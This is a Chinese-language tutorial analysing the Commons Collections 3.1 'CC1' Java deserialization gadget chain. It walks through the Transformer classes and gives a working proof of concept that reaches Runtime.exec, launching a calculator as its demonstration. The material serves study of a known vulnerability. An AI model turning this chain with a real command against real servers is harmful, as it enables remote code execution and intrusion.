CommonCollections1

image.png

简介

Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。
CommonsCollections1,反序列化的第一种RCE序列化链
CommonsCollections1反序列化漏洞点仍然是commons-collections-3.1版本

CC1有两个利用链,其一是下方解释那种,另外一种涉及动态代理

利用链

依赖

  1. <dependencies>
  2. <dependency>
  3. <groupId>commons-collections</groupId>
  4. <artifactId>commons-collections</artifactId>
  5. <version>3.1</version>
  6. </dependency>
  7. </dependencies>

此实验Java版本,在Java 8u71以后的版本中修改了触发的类,所以不支持此链的利用,故选择jdk7
image.png

前提知识

我们分析CC1链之前,首先需要知道如下知识 他们组成了CC1链的利用方法

CC1 Demo

首先看一下CC1的demo

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.TransformedMap;
  6. import java.util.HashMap;
  7. import java.util.Map;
  8. public class Main {
  9. public static void main(String[] args) throws Exception {
  10. Transformer[] transformers = new Transformer[]{
  11. new ConstantTransformer(Runtime.getRuntime()),
  12. new InvokerTransformer("exec", new Class[]{String.class},
  13. new Object[]{"calc"}),
  14. };
  15. Transformer transformerChain = new
  16. ChainedTransformer(transformers);
  17. Map innerMap = new HashMap();
  18. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  19. outerMap.put("zeo", "666");
  20. }
  21. }

对其中的知识进行解释

Transformer

Transformer是⼀个接⼝,只有⼀个待实现的方法transform

image.png

ConstantTransformer

image.png

  • ConstantTransformer是实现了Transformer接⼝的⼀个类
    • 简单就是你输入什么类,它就返回什么
      1. new ConstantTransformer(Runtime.getRuntime()),
      2. getRuntime赋给iCOnstant之后,会通过tranform返回

触发的时候
image.png
image.png
会调用ConstantTransformer.transform中,进行将Runtime.getRuntime()进行返回

InvokerTransformer

  • 这个类就是代码执行的关键了
  • 这个类的实现主要采用了反射的方法
  • 简单的说:可以通过这个类反射实例化调用其他类其他方法(任意的方法,也就是命令执行)
  • 只要参数可控,就是任意命令执行
  • 该类的构造方法中传入三个变量,分别是方法名,参数的类型,和参数

image.png

  • 是实现Transformer接口的一个类
  • 又会在transform方法中利用反射的知识,执行了input对象的iMethodName

InvokerTransformer的transform方法中利用了反射,通过反射调用我们传入的类中的方法,所以这类其实就是我们执行恶意命令的核心类

  1. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  2. this.iMethodName = methodName;
  3. this.iParamTypes = paramTypes;
  4. this.iArgs = args;
  5. }
  6. public Object transform(Object input) {
  7. if (input == null) {
  8. return null;
  9. } else {
  10. try {
  11. //进行反射调用
  12. //那么如果可以控制输入的iMethodName,iParamTypes,iArgs,input就可以利用这个代码进行代码执行
  13. Class cls = input.getClass();
  14. Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
  15. return method.invoke(input, this.iArgs);
  16. } catch (NoSuchMethodException var5) {
  17. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
  18. } catch (IllegalAccessException var6) {
  19. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  20. } catch (InvocationTargetException var7) {
  21. throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
  22. }
  23. }

image.png
触发器最后会进入到InvokerTransformer中进行反射执行命令
image.png

POC

利用构造函数传入methodName,paramTypes,args 来确定我们调用的方法,参数类型以及参数

  1. String methodName = "exec";
  2. Class[] paramTypes = new Class[]{String.class};
  3. Object[] arg = new Object[]{"open -a Calculator"}; // windows这里换成calc.exe即可

将实例传入transform方法,结合之前传入的methodName,paramTypes,args 可进行代码执行

  1. InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,arg); invokerTransformer.transform(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")));

反射在此的理解

  1. Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")

invoke
  1. invoke调用普通方法时,传入的必须是实例化后的类
  2. invoke调用静态方法时,传入类即可
  1. invoke(obj,params)
  1. //这里利用invoke调用Runtime中的静态getRuntime方法
  2. private static Runtime currentRuntime = new Runtime();
  3. public static Runtime getRuntime() {
  4. return currentRuntime;
  5. }

ChainedTransformer

  • 也是实现Transformer接口的一个类
  • 它就可以承接下一步的操作。
  • 它的主要作⽤:
  • 将内部的多个Transformer串在⼀起
  • 前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

ChainedTransformer类会在构造函数的时候接受 Transformer[] 数组,即列表中的所有元素都要实现 Transformer 接口 image.png 同时在transform方法中会对Transformer数组中的元素按照顺序调用transform方法,同时将上一个元素的返回对象作为输入传递给下一个元素的transform方法中

CC1链 - 图11

  1. public class ChainedTransformer implements Transformer, Serializable {
  2. .......
  3. }
  4. ......
  5. //该方法首先有一个构造函数,将传入的Transformer类型的数组赋值给iTransformers,这里iTransformers是一个数组
  6. public ChainedTransformer(Transformer[] transformers) {
  7. this.iTransformers = transformers;
  8. }
  9. //它会将前一个transform返回的结果作为后一个对象的传参,假设我们传入的Transformer[]数组中有两个数据
  10. //new ConstantTransformer(Runtime.getRuntime())
  11. //new InvokerTransformer("exec", new Class[]{String.class},new Object[{"calc"})
  12. public Object transform(Object object) {
  13. for(int i = 0; i < this.iTransformers.length; ++i) {
  14. object = this.iTransformers[i].transform(object);
  15. }
  16. return object;
  17. }

触发器的时候,会进入到循环中去
image.png

TransformedMap

一个触发器,主要是后面类中的实现类的Transformer()方法

  1. protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  2. super(map);
  3. this.keyTransformer = keyTransformer;
  4. this.valueTransformer = valueTransformer;
  5. }
  • 它是基本的数据类型Map类的做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个函数。
  • 这个函数,就是⼀个实现了Transformer接⼝的类,这个类也就是链中导向下一环的入口。
  • 第一个参数,要绑定修饰的map,第三个参数就是 valueTransformer就是要执行的Transformer接⼝的类。
  1. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

decorate将我们ChainedTransformer传入到valueTransformer

image.png

  1. outerMap.put("zeo", "666");

image.png
当我们发现往里面填充值得时候,会进入transformValue方法
调用valueTransformer(ChainedTransformer类的实例)的transform方法
image.png

第二次调用的时候调用Runtime对象就会将object进行传入
image.png

分析

  1. 实例化new Transformer的数组,构造中间的小链子,ConstantTransformer和InvokerTransformer不是一个类,但都继承了Transformer,故可以放到Transformer[]接口中去
  2. 小链子中有两个ConstantTransformer,InvokerTransformer,这两个构造好后,放入刚刚提到的ChainedTransformer类里面,他们就是连起来里面,也就是我们常用的Runtime.getRuntime().exec()

CC1链 - 图17

  1. 命令执行造好了,还有一个触发ChainedTransformer的方法,就是TransformedMap.decorate方法
  2. 实例化一个map对象,然后修饰绑定上transformerChain这个上面,每当有map有新元素进来的时候,就会触发上面的链
  3. 所以map对象put(“test”, “xxxx”)一下就会触发命令执行成功弹出了计算器

补充

在反射当初static,对象为null,只有非静态,对象才是它本身